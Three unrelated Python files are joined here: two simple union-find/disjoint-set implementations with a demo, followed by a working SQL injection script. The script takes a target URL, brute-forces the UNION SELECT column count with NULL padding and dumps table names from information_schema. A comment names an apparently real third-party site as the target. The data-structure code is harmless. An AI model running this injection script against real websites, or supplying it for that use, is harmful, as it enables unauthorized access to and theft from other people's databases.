1class UnionFind:
2 def __init__(self) -> None:
3 super().__init__()
4 self.representor = {}
5
6 def make_set(self, key):
7 self.representor[key] = key
8
9 def find(self, key):
10 return self.representor[key]
11
12 def union(self, x, y):
13 x_r, y_r = self.find(x), self.find(y)
14 for k, r in self.representor.items():
15 if r == y_r:
16 self.representor[k] = x_r
1class DisjointSet:
2 def __init__(self, n):
3 self.data = list(range(n))
4 self.size = n
5
6 def find(self, index):
7 return self.data[index]
8
9
10 def union(self, x, y):
11 x, y = self.find(x), self.find(y)
12
13 if x == y:
14 return
15
16 for i in range(self.size):
17 if self.find(i) == y:
18 self.data[i] = x
19
20
21 @property
22 def length(self):
23 return len(set(self.data))
24
25
26
27
28disjoint = DisjointSet(10)
29
30disjoint.union(0, 1)
31disjoint.union(1, 2)
32disjoint.union(2, 3)
33disjoint.union(4, 5)
34disjoint.union(5, 6)
35disjoint.union(6, 7)
36disjoint.union(8, 9)
37
38print(disjoint.data)
39print(disjoint.length)
40
41
42# [0, 0, 0, 0, 4, 4, 4, 4, 8, 8]
43# 3
1# pip install requests
2import requests
3
4def main():
5 # http://www.meggieschneider.com/php/detail.php?id=48
6 url = input('Target: ')
7 idx = 0
8 while True:
9 nulls = ', '.join([f'Null as Col{x}' for x in range(idx)])
10 if idx > 0:
11 nulls = ', ' + nulls
12 req = f'id=48 AND 1=2 UNION SELECT table_schema, table_name {nulls} FROM information_schema.tables'
13 print(f'''\n
14 {req}
15 ''')
16 r = requests.get(f'{url}?{req}')
17 if 'The used SELECT statements have a different number of columns' not in str(r.content):
18 print(f'''\n
19 {r.text}
20 ''')
21 break
22 idx = idx + 1
23
24if __name__ == '__main__':
25 main()